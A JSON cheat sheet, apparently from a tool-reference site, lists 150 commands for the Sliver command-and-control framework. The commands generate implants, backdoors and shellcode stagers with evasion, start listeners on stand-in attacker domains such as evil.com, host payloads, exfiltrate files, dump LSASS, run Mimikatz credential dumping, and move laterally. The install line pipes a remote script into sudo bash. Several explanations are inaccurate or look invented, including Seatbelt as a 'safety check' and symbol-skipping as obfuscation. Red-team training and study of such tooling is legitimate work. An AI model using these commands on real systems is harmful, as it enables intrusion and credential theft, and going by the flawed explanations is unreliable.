{"tool":"sliver","name":"Sliver","description":"An open-source, cross-platform command-and-control framework for adversary emulation, with mTLS, WireGuard, HTTP(S) and DNS implants.","tags":["C2","red team","implants"],"homepage":"https://github.com/BishopFox/sliver","docs":"https://sliver.sh/docs","install":{"apt":"sudo apt install sliver","other":"curl https://sliver.sh/install | sudo bash"},"related":["covenant","metasploit"],"total_commands":150,"commands":[{"id":1,"category":"Server Startup","command":"sliver-server","example":"sliver-server","explanation":"Starts the main Sliver command and control server."},{"id":2,"category":"Client Connection","command":"sliver-client import","example":"sliver-client import ./operator_cfg.json","explanation":"Imports an operator configuration file to authenticate the client."},{"id":3,"category":"Client Connection","command":"sliver-client","example":"sliver-client","explanation":"Launches the client console to connect to the server."},{"id":4,"category":"Operator Management","command":"operators","example":"operators","explanation":"Lists all operators currently configured on the server."},{"id":5,"category":"Operator Management","command":"new-operator","example":"new-operator --name redteam1 --lhost 10.10.10.5","explanation":"Creates a new operator profile with a specific listening host."},{"id":6,"category":"Operator Management","command":"multiplayer","example":"multiplayer","explanation":"Enables multiplayer mode to allow multiple operators to connect."},{"id":7,"category":"General","command":"version","example":"version","explanation":"Displays the current version of the Sliver server and client."},{"id":8,"category":"General","command":"monitor","example":"monitor","explanation":"Streams real-time events and logs from the server to the console."},{"id":9,"category":"General","command":"licenses","example":"licenses","explanation":"Displays the software licenses for Sliver and its dependencies."},{"id":10,"category":"General","command":"update","example":"update","explanation":"Checks for updates to the Sliver framework."},{"id":11,"category":"Listener Management","command":"mtls","example":"mtls --lport 8888","explanation":"Starts a Mutual TLS listener on the specified port."},{"id":12,"category":"Listener Management","command":"mtls -P","example":"mtls --persistent --lport 8888","explanation":"Starts a persistent mTLS listener that survives server restarts."},{"id":13,"category":"Listener Management","command":"http","example":"http --lport 80","explanation":"Starts a standard HTTP listener on port 80."},{"id":14,"category":"Listener Management","command":"http -d","example":"http --domain evil.com --lport 80","explanation":"Starts an HTTP listener associated with a specific domain."},{"id":15,"category":"Listener Management","command":"https","example":"https --lport 443 --domain secure.com","explanation":"Starts an HTTPS listener using an automatically generated or provided cert."},{"id":16,"category":"Listener Management","command":"https -c","example":"https --cert ./cert.pem --key ./key.pem --lport 443","explanation":"Starts an HTTPS listener using a custom SSL certificate and key."},{"id":17,"category":"Listener Management","command":"https --lets-encrypt","example":"https --domain my-c2.com --lets-encrypt","explanation":"Starts an HTTPS listener and attempts to fetch a Let's Encrypt certificate."},{"id":18,"category":"Listener Management","command":"dns","example":"dns --domain ns1.evil.com --lport 53","explanation":"Starts a DNS listener for command and control over DNS records."},{"id":19,"category":"Listener Management","command":"wg","example":"wg --lport 51820","explanation":"Starts a WireGuard listener for encapsulated C2 traffic."},{"id":20,"category":"Listener Management","command":"jobs","example":"jobs","explanation":"Lists all currently active listeners (jobs)."},{"id":21,"category":"Listener Management","command":"jobs -k","example":"jobs -k 1","explanation":"Kills a specific listener job by its ID."},{"id":22,"category":"Infrastructure","command":"websites","example":"websites","explanation":"Lists all active websites hosted by the Sliver server."},{"id":23,"category":"Infrastructure","command":"websites add","example":"websites add --website-name payload --web-path / --content ./payload.exe","explanation":"Hosts a file on a specific path for download."},{"id":24,"category":"Infrastructure","command":"websites rm","example":"websites rm --website-name payload","explanation":"Removes a hosted website or file."},{"id":25,"category":"Canary Management","command":"canaries","example":"canaries","explanation":"Lists all generated DNS canaries."},{"id":26,"category":"Canary Management","command":"generate-canary","example":"generate-canary --domain canary.evil.com","explanation":"Generates a DNS canary string to detect blue team investigation."},{"id":27,"category":"Implant Profiles","command":"profiles","example":"profiles","explanation":"Lists all saved implant profiles."},{"id":28,"category":"Implant Profiles","command":"profiles new","example":"profiles new --mtls 10.10.10.5:8888 --os windows --arch amd64 win_mtls","explanation":"Creates a new reusable profile for generating Windows mTLS implants."},{"id":29,"category":"Implant Profiles","command":"profiles new -b","example":"profiles new --http 10.10.10.5:80 --format shellcode win_shellcode","explanation":"Creates a profile for generating shellcode implants over HTTP."},{"id":30,"category":"Implant Profiles","command":"profiles generate","example":"profiles generate --profile win_mtls","explanation":"Generates an implant binary using a saved profile."},{"id":31,"category":"Implant Generation","command":"generate --mtls","example":"generate --mtls 10.10.10.5:8888 --os windows --save ./backdoor.exe","explanation":"Generates a basic Windows binary connecting via mTLS."},{"id":32,"category":"Implant Generation","command":"generate --http","example":"generate --http 10.10.10.5:80 --os linux --save ./linux_backdoor","explanation":"Generates a Linux binary connecting via HTTP."},{"id":33,"category":"Implant Generation","command":"generate --dns","example":"generate --dns ns1.evil.com. --os macos --save ./mac_dns","explanation":"Generates a macOS binary connecting via DNS."},{"id":34,"category":"Implant Generation","command":"generate --format","example":"generate --mtls 10.10.10.5:8888 --format shared --save ./hook.dll","explanation":"Generates a shared library (DLL/dylib) implant."},{"id":35,"category":"Implant Generation","command":"generate --shellcode","example":"generate --mtls 10.10.10.5:8888 --format shellcode --save ./shellcode.bin","explanation":"Generates raw shellcode for injection or custom loaders."},{"id":36,"category":"Implant Generation","command":"generate --service","example":"generate --mtls 10.10.10.5:8888 --format service --save ./svc.exe","explanation":"Generates a Windows service binary."},{"id":37,"category":"Implant Generation","command":"generate --skip-symbols","example":"generate --mtls 10.10.10.5:8888 --skip-symbols","explanation":"Generates an implant with obfuscation and symbol stripping enabled."},{"id":38,"category":"Implant Generation","command":"generate --evasion","example":"generate --mtls 10.10.10.5:8888 --evasion","explanation":"Enables advanced evasion techniques during compilation."},{"id":39,"category":"Implant Generation","command":"generate --run-at-load","example":"generate --mtls 10.10.10.5:8888 --format shared --run-at-load","explanation":"Ensures the DLL implant executes immediately upon being loaded."},{"id":40,"category":"Implant Generation","command":"generate --limit-domain-joined","example":"generate --mtls 10.10.10.5:8888 --limit-domain-joined","explanation":"Restricts execution to domain-joined machines only."},{"id":41,"category":"Implant Generation","command":"regenerate","example":"regenerate --id [implant-id]","explanation":"Recompiles an existing implant configuration."},{"id":42,"category":"Implant Management","command":"implants","example":"implants","explanation":"Lists all generated implants recorded in the database."},{"id":43,"category":"Implant Management","command":"implants rm","example":"implants rm [implant-id]","explanation":"Deletes an implant record from the database."},{"id":44,"category":"Session Management","command":"sessions","example":"sessions","explanation":"Lists all active interactive sessions."},{"id":45,"category":"Session Management","command":"beacons","example":"beacons","explanation":"Lists all active asynchronous beacons."},{"id":46,"category":"Session Management","command":"use","example":"use [session-id]","explanation":"Enters interactive mode with a specific session or beacon."},{"id":47,"category":"Session Management","command":"background","example":"background","explanation":"Backgrounds the current interactive session."},{"id":48,"category":"Session Management","command":"kill","example":"kill [session-id]","explanation":"Terminates a specific session or beacon."},{"id":49,"category":"Beacon Configuration","command":"reconfigure","example":"reconfigure --interval 1m --jitter 10s","explanation":"Updates the check-in interval and jitter for the current beacon."},{"id":50,"category":"Beacon Configuration","command":"interactive","example":"interactive","explanation":"Converts a beacon into an interactive session."},{"id":51,"category":"Situational Awareness","command":"info","example":"info","explanation":"Displays detailed information about the compromised host and implant."},{"id":52,"category":"Situational Awareness","command":"ping","example":"ping","explanation":"Sends a round-trip ping to the implant to calculate latency."},{"id":53,"category":"Situational Awareness","command":"whoami","example":"whoami","explanation":"Displays the current user context of the implant."},{"id":54,"category":"Situational Awareness","command":"env","example":"env","explanation":"Lists environment variables on the target system."},{"id":55,"category":"Situational Awareness","command":"hostname","example":"hostname","explanation":"Retrieves the hostname of the target system."},{"id":56,"category":"File System","command":"ls","example":"ls C:\\Users","explanation":"Lists files and directories in the specified path."},{"id":57,"category":"File System","command":"cd","example":"cd C:\\Windows\\Temp","explanation":"Changes the current working directory on the target."},{"id":58,"category":"File System","command":"pwd","example":"pwd","explanation":"Prints the current working directory."},{"id":59,"category":"File System","command":"cat","example":"cat config.txt","explanation":"Reads and displays the contents of a file."},{"id":60,"category":"File System","command":"rm","example":"rm suspicious.log","explanation":"Deletes a file on the target system."},{"id":61,"category":"File System","command":"mkdir","example":"mkdir hidden","explanation":"Creates a new directory."},{"id":62,"category":"File System","command":"upload","example":"upload /local/tools/rubeus.exe C:\\Windows\\Temp\\rubeus.exe","explanation":"Uploads a file from the server to the target machine."},{"id":63,"category":"File System","command":"download","example":"download C:\\Users\\Administrator\\Desktop\\secrets.txt","explanation":"Downloads a file from the target machine to the server."},{"id":64,"category":"File System","command":"mv","example":"mv old.txt new.txt","explanation":"Moves or renames a file on the target."},{"id":65,"category":"File System","command":"cp","example":"cp source.txt dest.txt","explanation":"Copies a file on the target system."},{"id":66,"category":"Process Management","command":"ps","example":"ps","explanation":"Lists running processes on the target system."},{"id":67,"category":"Process Management","command":"ps -o","example":"ps -o","explanation":"Lists processes and identifies the owner of each process."},{"id":68,"category":"Process Management","command":"pgrep","example":"pgrep lsass","explanation":"Searches for a process by name."},{"id":69,"category":"Process Management","command":"terminate","example":"terminate 1234","explanation":"Terminates a process by its PID."},{"id":70,"category":"Execution","command":"execute","example":"execute -o cmd.exe /c whoami","explanation":"Executes a command on the target and captures the output."},{"id":71,"category":"Execution","command":"shell","example":"shell","explanation":"Spawns an interactive pseudo-terminal (shell) on the target."},{"id":72,"category":"Execution","command":"run-as","example":"run-as --user Administrator cmd.exe","explanation":"Executes a program as a different user (requires credentials/tokens)."},{"id":73,"category":"Process Injection","command":"migrate","example":"migrate 4567","explanation":"Migrates the implant into another running process."},{"id":74,"category":"Memory Operations","command":"procdump","example":"procdump -p 500 lsass.dmp","explanation":"Dumps the memory of a specific process ID to a file."},{"id":75,"category":"Registry (Windows)","command":"registry read","example":"registry read \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\"","explanation":"Reads a Windows registry key or value."},{"id":76,"category":"Registry (Windows)","command":"registry write","example":"registry write \"HKCU\\Software\\Test\" \"Value\" \"Data\"","explanation":"Writes a value to the Windows registry."},{"id":77,"category":"Registry (Windows)","command":"registry create","example":"registry create \"HKCU\\Software\\NewKey\"","explanation":"Creates a new registry key."},{"id":78,"category":"Registry (Windows)","command":"registry delete","example":"registry delete \"HKCU\\Software\\OldKey\"","explanation":"Deletes a registry key or value."},{"id":79,"category":"Privilege Escalation","command":"getprivs","example":"getprivs","explanation":"Enables all available privileges for the current process token."},{"id":80,"category":"Privilege Escalation","command":"getsystem","example":"getsystem","explanation":"Attempts to elevate privileges to SYSTEM automatically."},{"id":81,"category":"Token Manipulation","command":"impersonate","example":"impersonate user","explanation":"Impersonates a logged-on user's token."},{"id":82,"category":"Token Manipulation","command":"rev2self","example":"rev2self","explanation":"Reverts the current thread token to the original process token."},{"id":83,"category":"Token Manipulation","command":"make-token","example":"make-token --user domain\\admin --password Secret","explanation":"Creates a new logon session/token with provided credentials."},{"id":84,"category":"Network Enumeration","command":"netstat","example":"netstat","explanation":"Displays active network connections on the target."},{"id":85,"category":"Network Enumeration","command":"ifconfig","example":"ifconfig","explanation":"Displays network interface configurations."},{"id":86,"category":"Network Enumeration","command":"arp","example":"arp","explanation":"Displays the ARP table to identify adjacent hosts."},{"id":87,"category":"Network Enumeration","command":"resolve","example":"resolve hostname.local","explanation":"Resolves a hostname to an IP address from the target."},{"id":88,"category":"Tunneling & Pivoting","command":"socks5","example":"socks5 start --port 1080","explanation":"Starts a SOCKS5 proxy server tunneling traffic through the implant."},{"id":89,"category":"Tunneling & Pivoting","command":"socks5 stop","example":"socks5 stop --id 1","explanation":"Stops a running SOCKS5 proxy job."},{"id":90,"category":"Tunneling & Pivoting","command":"portfwd add","example":"portfwd add --remote 192.168.1.10:80 --local 8080","explanation":"Forwards a local port on the C2 server to a remote address via the implant."},{"id":91,"category":"Tunneling & Pivoting","command":"portfwd rm","example":"portfwd rm --id 1","explanation":"Removes an active port forwarding rule."},{"id":92,"category":"Tunneling & Pivoting","command":"rportfwd add","example":"rportfwd add --remote 8080 --local 80","explanation":"Reverse forwards a port from the target machine back to the C2 server/client."},{"id":93,"category":"Surveillance","command":"screenshot","example":"screenshot","explanation":"Takes a screenshot of the target's desktop."},{"id":94,"category":"Armory & Extensions","command":"armory","example":"armory","explanation":"Lists available extensions and aliases in the Sliver Armory."},{"id":95,"category":"Armory & Extensions","command":"armory update","example":"armory update","explanation":"Updates the local cache of Armory packages."},{"id":96,"category":"Armory & Extensions","command":"armory install","example":"armory install seatbelt","explanation":"Installs an extension (e.g., Seatbelt) from the Armory."},{"id":97,"category":"Armory & Extensions","command":"extensions","example":"extensions","explanation":"Lists currently installed extensions."},{"id":98,"category":"Armory & Extensions","command":"extensions load","example":"extensions load /path/to/extension","explanation":"Loads a local extension manually."},{"id":99,"category":"Advanced Execution","command":"execute-assembly","example":"execute-assembly /path/to/tool.exe","explanation":"Executes a .NET assembly in memory on the target (Windows only)."},{"id":100,"category":"Advanced Execution","command":"execute-shellcode","example":"execute-shellcode /path/to/shellcode.bin","explanation":"Injects and executes raw shellcode into the current process."},{"id":101,"category":"Advanced Execution","command":"sideload","example":"sideload /path/to/dll","explanation":"Loads a shared library in memory."},{"id":102,"category":"Task Management","command":"tasks","example":"tasks","explanation":"Lists pending and active tasks for the current beacon."},{"id":103,"category":"Task Management","command":"tasks cancel","example":"tasks cancel [task-id]","explanation":"Cancels a queued task for a beacon."},{"id":104,"category":"User Management","command":"msg","example":"msg * \"Hello World\"","explanation":"Sends a popup message to the user on the target (Windows)."},{"id":105,"category":"Lateral Movement","command":"psexec","example":"psexec --target 192.168.1.20 --service-name svc","explanation":"Executes a command on a remote system via Service Manager (requires extension)."},{"id":106,"category":"Lateral Movement","command":"wmic","example":"wmic --target 192.168.1.20 process call create cmd.exe","explanation":"Executes processes on remote systems using WMI."},{"id":107,"category":"Lateral Movement","command":"ssh","example":"ssh user@192.168.1.50","explanation":"Connects to a remote host via SSH from the compromised machine."},{"id":108,"category":"Lateral Movement","command":"upload-and-exec","example":"upload-and-exec ./beacon.exe","explanation":"Helper to upload a binary and immediately execute it."},{"id":109,"category":"Loot Management","command":"loot","example":"loot","explanation":"Lists all collected loot (credentials, files) stored on the server."},{"id":110,"category":"Loot Management","command":"loot rm","example":"loot rm [id]","explanation":"Removes a specific loot item from the server."},{"id":111,"category":"Loot Management","command":"loot clean","example":"loot clean","explanation":"Clears all stored loot."},{"id":112,"category":"Aliases","command":"aliases","example":"aliases","explanation":"Lists currently defined command aliases."},{"id":113,"category":"Aliases","command":"alias","example":"alias list_files ls","explanation":"Creates a new custom alias for a command."},{"id":114,"category":"Advanced Networking","command":"wg-portfwd","example":"wg-portfwd","explanation":"Configures port forwarding specifically over WireGuard tunnels."},{"id":115,"category":"Advanced Networking","command":"wg-socks","example":"wg-socks","explanation":"Configures SOCKS proxy specifically over WireGuard tunnels."},{"id":116,"category":"Database","command":"db export","example":"db export ./sliver-data.json","explanation":"Exports the entire server database to a JSON file."},{"id":117,"category":"Database","command":"db import","example":"db import ./sliver-data.json","explanation":"Imports a database file (useful for migration or backup recovery)."},{"id":118,"category":"Implant Interaction","command":"interactive --tunnel","example":"interactive --tunnel","explanation":"Establishes a tunnel for interactive tools through the beacon."},{"id":119,"category":"Automation","command":"beacons watch","example":"beacons watch","explanation":"Monitors for new beacons and runs a command automatically."},{"id":120,"category":"Defense Evasion","command":"obfuscate","example":"obfuscate --method garble","explanation":"Applies obfuscation to scripts or payloads (conceptual, depends on extension)."},{"id":121,"category":"Cleanup","command":"service-install","example":"service-install","explanation":"Persists the implant as a system service."},{"id":122,"category":"Cleanup","command":"service-uninstall","example":"service-uninstall","explanation":"Removes the implant service from the target."},{"id":123,"category":"Cleanup","command":"clear","example":"clear","explanation":"Clears the terminal screen."},{"id":124,"category":"Post-Exploitation","command":"lsass-dump","example":"lsass-dump","explanation":"Extension command to dump LSASS memory specifically."},{"id":125,"category":"Post-Exploitation","command":"seatbelt","example":"seatbelt -group=system","explanation":"Runs the Seatbelt extension for safety checks."},{"id":126,"category":"Post-Exploitation","command":"sharp-wmi","example":"sharp-wmi action=query","explanation":"Runs SharpWMI extension for WMI interaction."},{"id":127,"category":"Post-Exploitation","command":"rubeus","example":"rubeus klist","explanation":"Runs Rubeus extension for Kerberos interaction."},{"id":128,"category":"Post-Exploitation","command":"mimikatz","example":"mimikatz \"sekurlsa::logonpasswords\"","explanation":"Runs Mimikatz extension to dump credentials."},{"id":129,"category":"DNS Management","command":"dns -z","example":"dns --zone example.com","explanation":"Specifies the DNS zone for the listener."},{"id":130,"category":"Stagers","command":"profiles new --format service","example":"profiles new --format service svc_profile","explanation":"Creates a profile specifically for generating service binaries."},{"id":131,"category":"Stagers","command":"generate --stager","example":"generate --stager --mtls 10.10.10.5:8888","explanation":"Generates a small stager payload that fetches the full implant."},{"id":132,"category":"Stagers","command":"stagers","example":"stagers","explanation":"Lists active stager listeners."},{"id":133,"category":"Security","command":"totp","example":"totp","explanation":"Configures TOTP (2FA) for operator login."},{"id":134,"category":"Implant Config","command":"generate --max-errors","example":"generate --mtls 10.10.10.5:8888 --max-errors 10","explanation":"Sets the maximum connection errors before the implant exits."},{"id":135,"category":"Implant Config","command":"generate --reconnect","example":"generate --mtls 10.10.10.5:8888 --reconnect 1m","explanation":"Sets the reconnection interval for the implant."},{"id":136,"category":"Pivoting","command":"tcp-pivot","example":"tcp-pivot --lport 9999","explanation":"Starts a TCP pivot listener on the compromised host."},{"id":137,"category":"Pivoting","command":"named-pipe-pivot","example":"named-pipe-pivot --pipe-name foobar","explanation":"Starts a named pipe listener for SMB pivoting."},{"id":138,"category":"Process Management","command":"process-list","example":"process-list","explanation":"Alternative command to list processes with different formatting."},{"id":139,"category":"Windows Utils","command":"net-user","example":"net-user username","explanation":"Queries information about a specific local user."},{"id":140,"category":"Windows Utils","command":"net-group","example":"net-group Administrators","explanation":"Queries membership of a local group."},{"id":141,"category":"Windows Utils","command":"net-localgroup","example":"net-localgroup","explanation":"Lists all local groups on the machine."},{"id":142,"category":"Logging","command":"audit","example":"audit","explanation":"Displays the audit log of operator actions."},{"id":143,"category":"Cleanup","command":"terminate-all","example":"terminate-all","explanation":"Mass termination of all active sessions (emergency switch)."},{"id":144,"category":"Server Config","command":"save","example":"save","explanation":"Forces a save of the server state to disk."},{"id":145,"category":"Extensions","command":"coff-loader","example":"coff-loader","explanation":"Loads and executes a COFF (Common Object File Format) file."},{"id":146,"category":"Network","command":"curl","example":"curl http://10.10.10.10/test","explanation":"Makes an HTTP request from the implant (if extension available)."},{"id":147,"category":"Cleanup","command":"rm -f","example":"rm -f C:\\Windows\\Temp\\payload.exe","explanation":"Forces the deletion of a file, suppressing errors."},{"id":148,"category":"Implant Generation","command":"generate --debug","example":"generate --mtls 10.10.10.5:8888 --debug","explanation":"Generates a debug build of the implant (prints logs to console)."},{"id":149,"category":"Operator Config","command":"use-profile","example":"use-profile default","explanation":"Switches the active operator profile."},{"id":150,"category":"Final Cleanup","command":"exit","example":"exit","explanation":"Disconnects the client or stops the server gracefully."}],"slug":"sliver","category":"exploitation","url":"https://terminal.rokibulroni.com/tool/exploitation/sliver","markdown":"https://terminal.rokibulroni.com/api/v1/tools/exploitation/sliver.md"}